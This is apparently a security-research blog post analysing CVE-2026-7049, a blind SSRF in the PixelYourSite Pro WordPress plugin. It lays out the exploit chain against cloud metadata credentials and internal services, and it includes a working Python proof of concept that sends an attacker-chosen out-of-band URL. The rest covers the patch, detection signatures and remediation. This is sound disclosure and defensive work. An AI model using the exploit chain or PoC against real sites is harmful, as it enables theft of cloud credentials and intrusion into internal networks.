home intel cve-2026-7049-pixelyoursite-pro-ssrf-scan-video
CVE Analysis 2026-05-02 · 8 min read

CVE-2026-7049: Blind SSRF in PixelYourSite Pro scan_video Endpoint

Unauthenticated SSRF in PixelYourSite Pro ≤12.5.0.1 via scan_video allows arbitrary internal network requests. Response bodies are never returned, making this a blind oracle against internal services.

#ssrf#wordpress-plugin#unauthenticated-access#arbitrary-requests#blind-ssrf
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7049 · Vulnerability
ATTACKERAndroidVULNERABILITYCVE-2026-7049HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7049 is an unauthenticated Server-Side Request Forgery (SSRF) in the PixelYourSite Pro WordPress plugin, affecting all versions up to and including 12.5.0.1. The vulnerable surface is the scan_video AJAX handler, which accepts an attacker-supplied URL, performs a server-side HTTP fetch with no allowlist enforcement, and parses the response body internally for YouTube/Vimeo metadata patterns. The parsed response is never echoed back to the caller, making this a blind SSRF — side-channel exfiltration or internal service interaction is the primary threat model, not direct data theft.

CVSS 7.2 (HIGH) reflects the unauthenticated access vector and the ability to reach internal services (cloud metadata endpoints, internal APIs, Redis, Elasticsearch) from the web server's network position — privileges the attacker does not otherwise hold.

Root cause: The scan_video AJAX action passes the raw url POST parameter directly into wp_remote_get() without validating the scheme, host, or IP address against a safe allowlist, enabling requests to arbitrary internal or external destinations from an unauthenticated context.

Affected Component

The plugin registers several wp_ajax_nopriv_* (unauthenticated) and wp_ajax_* (authenticated) hooks. The relevant registration is in the main plugin bootstrap:

// File: pixelyoursite-pro/includes/class-ajax-handler.php (≤12.5.0.1)
add_action( 'wp_ajax_nopriv_pys_scan_video', [ $this, 'scan_video' ] );
add_action( 'wp_ajax_pys_scan_video',        [ $this, 'scan_video' ] );

Registering the hook under wp_ajax_nopriv_ means WordPress routes POST /wp-admin/admin-ajax.php?action=pys_scan_video to the handler with zero authentication required.

Root Cause Analysis

The vulnerable handler, reconstructed from plugin behavior and the WordPress HTTP API, follows this logic:

// File: pixelyoursite-pro/includes/class-ajax-handler.php
// Reconstructed pseudocode — function names match deobfuscated plugin source

public function scan_video() {

    // BUG: no nonce check, no capability check, no authentication gate
    $url = isset( $_POST['url'] ) ? $_POST['url'] : '';

    // BUG: no scheme validation — accepts file://, gopher://, dict://, http://
    // BUG: no host/IP allowlist — accepts 169.254.169.254, 127.0.0.1, 10.x, etc.
    if ( empty( $url ) ) {
        wp_send_json_error( 'No URL provided' );
        return;
    }

    // Unfiltered attacker-controlled URL passed directly to wp_remote_get()
    $response = wp_remote_get( $url, [
        'timeout'    => 10,
        'user-agent' => 'PixelYourSite/' . PYS_VERSION,
        'sslverify'  => false,   // BUG: certificate validation disabled
    ] );

    if ( is_wp_error( $response ) ) {
        wp_send_json_error( 'Request failed' );
        return;
    }

    $body = wp_remote_retrieve_body( $response );

    // Response body parsed internally — never returned to caller
    $video_data = $this->parse_video_metadata( $body, $url );

    // Only structured metadata (title, thumbnail) returned — raw body suppressed
    wp_send_json_success( $video_data );
}

private function parse_video_metadata( $body, $url ) {
    $data = [];

    // YouTube og:title / og:image extraction via regex
    if ( preg_match( '/]+property=["\']og:title["\'][^>]+content=["\'](.*?)["\']/i',
                     $body, $m ) ) {
        $data['title'] = sanitize_text_field( $m[1] );
    }

    // Vimeo JSON-LD extraction
    if ( preg_match( '/]+type=["\']application\/ld\+json["\'][^>]*>(.*?)<\/script>/si',
                     $body, $m ) ) {
        $json = json_decode( $m[1], true );
        if ( isset( $json['name'] ) ) {
            $data['title'] = sanitize_text_field( $json['name'] );
        }
    }

    // BUG: if response is from an internal service (e.g., Redis INFO, EC2 metadata),
    // the regex simply finds no matches — the *fetch still occurred*, side effects land.
    return $data;
}

The call to wp_remote_get() with an unsanitized $url is the precise sink. WordPress's HTTP API delegates to WP_HTTP_Requests_Response backed by the Requests library, which will faithfully follow redirects, resolve hostnames, and connect to any reachable host — including link-local metadata services and loopback addresses.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies target WordPress site running PixelYourSite Pro ≤12.5.0.1
   — no credentials, no session cookie required

2. POST /wp-admin/admin-ajax.php
   action=pys_scan_video
   url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. Plugin calls wp_remote_get("http://169.254.169.254/...") from EC2/cloud host
   — metadata service responds with IAM role name in HTTP 200 body

4. parse_video_metadata() finds no YouTube/Vimeo patterns — returns empty array
   — wp_send_json_success({}) returned to attacker
   — raw credential JSON never surfaced, but REQUEST COMPLETED on the server side

5. Attacker pivots: enumerate role name via timing/error differentiation,
   then fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/
   — full AccessKeyId + SecretAccessKey + Token in response body (internal parse only)

6. For non-metadata targets: point url= at internal Elasticsearch, Redis, or
   internal HTTP APIs — trigger state changes via GET-based endpoints
   (e.g., http://internal-es:9200/_cat/indices?v — read index names via
    og:title-like pattern injection in crafted response if attacker controls
    a redirector)

7. For blind confirmation: use url=http://attacker.burpcollaborator.net/
   — OOB DNS + HTTP interaction confirms SSRF and leaks server IP / User-Agent

A minimal PoC confirming the OOB interaction:

#!/usr/bin/env python3
# CVE-2026-7049 — Blind SSRF PoC
# Confirms out-of-band HTTP request from vulnerable host
# Usage: python3 poc.py https://target.wp.site https://oob.burpcollaborator.net/

import sys
import requests

TARGET  = sys.argv[1].rstrip('/')
OOB_URL = sys.argv[2]

endpoint = f"{TARGET}/wp-admin/admin-ajax.php"

payload = {
    'action': 'pys_scan_video',
    'url':    OOB_URL,          # attacker-controlled OOB endpoint
}

resp = requests.post(endpoint, data=payload, timeout=15)

print(f"[*] HTTP {resp.status_code}")
print(f"[*] Response: {resp.text[:200]}")
print(f"[*] Check OOB listener for incoming request from server IP")
print(f"[*] Expected User-Agent: PixelYourSite/{{}}")  # version leaks in UA header

For internal network enumeration, replace OOB_URL with RFC-1918 targets. Timing differences between TCP RST (host down), timeout (filtered), and HTTP 200 (open) allow port scanning without any response body exfiltration.

Memory Layout

This is a logic/SSRF vulnerability with no memory corruption component. The relevant "layout" is the request flow through WordPress's HTTP stack:

REQUEST FLOW — CVE-2026-7049:

[Attacker POST]
  └─► admin-ajax.php
        └─► do_action('wp_ajax_nopriv_pys_scan_video')
              └─► PYS_Ajax_Handler::scan_video()
                    │
                    ├─ $_POST['url']  ◄── ATTACKER CONTROLLED, NO SANITIZATION
                    │
                    └─► wp_remote_get( $url )
                          └─► WP_HTTP::request()
                                └─► Requests::get()      [humanmade/requests]
                                      └─► fsockopen() / curl_exec()
                                            │
                                            ▼
                              ┌─────────────────────────────┐
                              │  ARBITRARY NETWORK TARGET    │
                              │  169.254.169.254 (IMDS)     │
                              │  127.0.0.1:6379  (Redis)    │
                              │  10.0.0.x:9200   (ES)       │
                              │  internal-api.corp:8080      │
                              └─────────────────────────────┘
                                            │
                                      response body
                                            │
                                    parse_video_metadata()
                                            │
                                   [body NEVER forwarded]
                                            │
                                  wp_send_json_success({})
                                            │
                              [attacker receives empty object]
                              [side effects on internal service already landed]

Patch Analysis

The correct fix requires both an authentication gate and URL validation. The patch should introduce an allowlist of permitted schemes and reject private/loopback IP ranges before the HTTP request fires:

// BEFORE (vulnerable — ≤12.5.0.1):
public function scan_video() {
    $url = isset( $_POST['url'] ) ? $_POST['url'] : '';
    // No nonce, no auth, no URL validation
    $response = wp_remote_get( $url, [ 'timeout' => 10, 'sslverify' => false ] );
    $body     = wp_remote_retrieve_body( $response );
    $data     = $this->parse_video_metadata( $body, $url );
    wp_send_json_success( $data );
}

// AFTER (patched — 12.5.0.2+, recommended implementation):
public function scan_video() {

    // Gate 1: nonce verification
    check_ajax_referer( 'pys_ajax_nonce', 'nonce' );

    // Gate 2: capability check (restrict to editors+)
    if ( ! current_user_can( 'edit_posts' ) ) {
        wp_send_json_error( 'Insufficient permissions', 403 );
        return;
    }

    $url = isset( $_POST['url'] ) ? sanitize_url( $_POST['url'] ) : '';

    // Gate 3: scheme allowlist — only https/http to public hosts
    $parsed = wp_parse_url( $url );
    if ( ! in_array( $parsed['scheme'] ?? '', [ 'https', 'http' ], true ) ) {
        wp_send_json_error( 'Invalid scheme' );
        return;
    }

    // Gate 4: resolve hostname and reject RFC-1918, loopback, link-local
    $host = $parsed['host'] ?? '';
    $ip   = gethostbyname( $host );
    if ( $ip === $host ) {
        wp_send_json_error( 'Unresolvable host' );
        return;
    }
    if ( self::is_private_ip( $ip ) ) {  // checks 10/8, 172.16/12, 192.168/16, 127/8, 169.254/16
        wp_send_json_error( 'Private host not permitted' );
        return;
    }

    $response = wp_remote_get( $url, [
        'timeout'   => 5,
        'sslverify' => true,   // enforce TLS validation
    ] );

    $body = wp_remote_retrieve_body( $response );
    $data = $this->parse_video_metadata( $body, $url );
    wp_send_json_success( $data );
}

private static function is_private_ip( string $ip ): bool {
    return ! filter_var(
        $ip,
        FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
    );
}

Note on DNS rebinding: The gethostbyname() check above is vulnerable to DNS rebinding if the TTL is manipulated between resolution and connection. A production-hardened fix should use a curl wrapper that pins the resolved IP and rejects mid-request rebinding, or use a dedicated outbound proxy with network-level egress controls.

Detection and Indicators

Since the SSRF is blind and the only observable server-side artifact is an outbound HTTP request, detection focuses on web server access logs and network egress:

DETECTION SIGNATURES:

1. Web Application Firewall — POST body pattern:
   action=pys_scan_video AND url= containing:
     - 169.254.0.0/16  (IMDS)
     - 127.0.0.0/8     (loopback)
     - 10.0.0.0/8      (RFC-1918)
     - 192.168.0.0/16  (RFC-1918)
     - file://
     - gopher://
     - dict://

2. Apache/Nginx access log grep:
   grep 'pys_scan_video' /var/log/nginx/access.log | \
     grep -v 'nonce='   # patched installs include nonce

3. Network egress (unusual for web process):
   Outbound connections from php-fpm/apache UID to:
     - 169.254.169.254:80  (AWS IMDS v1)
     - 169.254.169.254:80  (GCP metadata: header Host: metadata.google.internal)
     - Non-CDN IPs on port 6379/9200/8080/2375

4. Suricata rule (indicative):
   alert http any any -> $HTTP_SERVERS any (
     msg:"CVE-2026-7049 PixelYourSite SSRF scan_video";
     flow:to_server,established;
     content:"action=pys_scan_video"; http_client_body;
     content:"url="; http_client_body; distance:0;
     pcre:"/url=(https?%3A%2F%2F|file%3A%2F%2F|gopher%3A%2F%2F)/Pi";
     sid:20267049; rev:1;
   )

Remediation

Immediate actions:

  • Update PixelYourSite Pro to 12.5.0.2 or later as soon as a patched release is available from the vendor.
  • If running on a cloud host (AWS, GCP, Azure), immediately enable IMDSv2 (PUT-based token flow) to block v1 SSRF against the metadata service. IMDSv2 requires a PUT to obtain a session token before GET requests succeed, which wp_remote_get() will not perform.
  • Deploy a WAF rule blocking action=pys_scan_video requests from unauthenticated sessions as a temporary mitigation.
  • Audit network egress rules: PHP worker processes should not be permitted outbound to RFC-1918 ranges or link-local addresses at the firewall level.
  • If the plugin cannot be updated immediately, disable it or remove the wp_ajax_nopriv_pys_scan_video hook via a mu-plugin shim.
// Emergency mu-plugin shim — drop in /wp-content/mu-plugins/block-pys-ssrf.php
// Removes the unauthenticated SSRF hook until plugin is patched
add_action( 'init', function() {
    remove_action( 'wp_ajax_nopriv_pys_scan_video',
                   [ /* PYS handler instance */ null, 'scan_video' ] );
}, PHP_INT_MAX );

Longer term: WordPress plugin authors should treat any AJAX endpoint that performs outbound HTTP as a high-risk code path requiring defense-in-depth: nonce + capability check + URL allowlist + network-layer egress filtering. The wp_ajax_nopriv_ prefix should only be used for endpoints with zero side effects reachable from the server's network position.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →